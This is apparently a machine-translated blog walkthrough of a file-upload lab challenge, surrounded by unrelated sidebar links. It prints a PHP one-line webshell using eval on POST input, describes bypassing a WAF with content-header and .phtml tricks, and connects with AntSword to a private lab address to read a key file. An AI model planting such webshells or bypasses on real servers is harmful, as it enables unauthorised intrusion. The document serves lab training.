当前位置:网站首页>File upload question type
File upload question type
2022-06-13 08:17:00 【BT youth】
subject : Through what you have learned , Test its passing WAF Filter rule , Break through uploading to get webshell, The answer is in the root directory key.php In file .
Upload first 1.php file , Inside the preparation of a sentence Trojan horse :<?php eval($_POST[c]);?>
1、 Get content by grabbing packets , It is found that the upload failed
2、 Bypass uploading by suffix : Failure
3、 Bypass by content header : success ( It may also be shielded eval function , Use system Function or assert() function )
Go to the upload path :http://192.168.129.128:82/vulnerabilities/1.phtml
Use the ant sword webshell Connect :http://192.168.129.128:82/vulnerabilities/1.phtml
Get into webshell Background management interface :
Get key.php value ;
Another way :
1、 Upload system() Function to view the file in the current path
2、 View the files in the upper level directory , Find out key.php file
3、 Open the upper level directory key.php file , find key value
边栏推荐
- Determine whether a string is rotated from another string
- 关于redis使用分布式锁的封装工具类
- Structural analysis of hyperledger fabric (I)
- Do not update the sub component page of parameter object passed from parent to child of nailing applet?
- redis面试题
- ERP basic data Kingdee
- 钉钉小程序如何隐藏tab
- How to modify desktop path in win10 system
- 2022年G3锅炉水处理操作证考试题库模拟考试平台操作
- Effective Go - The Go Programming Language
猜你喜欢
[problem record] json decoder. JSONDecodeError:Extra data: line xxx column xxx(char xxxx)
2022起重机械指挥考试题模拟考试题库及在线模拟考试
Start from scratch - implement the jpetstore website -1- establish the project framework and project introduction
How to install the bdtab (BD) new tab plug-in in edge browser (Graphic tutorial)
Did decentralized digital identity
ERP basic data Kingdee
【Emgu.CV】Emgu. CV. Example\ocr operation reports an error system IO. Filenotfoundexception: "failed to load file or assembly" system.drawing.common "
Install cuda+cusp environment and create the first helloword starter project
2022 simulated examination question bank and online simulated examination of hoisting machinery command examination questions
STM32CubeMX的下载和安装方式
随机推荐
AcWing 1977. Information relay (base ring tree, parallel search set)
微服务项目搭建二:数据库设计
Cosmos star module development
MySQL installation and configuration under Windows
CCNP_ Bt-ospf big experiment (1)
es6删除对象的某个属性
21 | pipeline oriented instruction design (Part 2): How did Pentium 4 fail?
Data disorder occurs when the n-th row of the subcomponent list generated by V-for is deleted
How to use annotations in word
What software can be used to solve the problems faced by the auto parts industry
Go interface implementation principle [advanced level]: type_ interface struct
基于paddlepaddle的新冠肺炎识别
17. how to understand multi version concurrency control and read / write sets of fabric smart contracts? (vernacular version)
2022起重机械指挥考试题模拟考试题库及在线模拟考试
[complete information static game characteristics of Nash equilibrium]
STM32CubeMX的下载和安装方式
【博弈论-完全信息静态博弈】 Nash均衡
2022年电工(初级)考题及模拟考试
Go 接口实现原理【高阶篇】: type _interface struct
CCNP_ BT static routing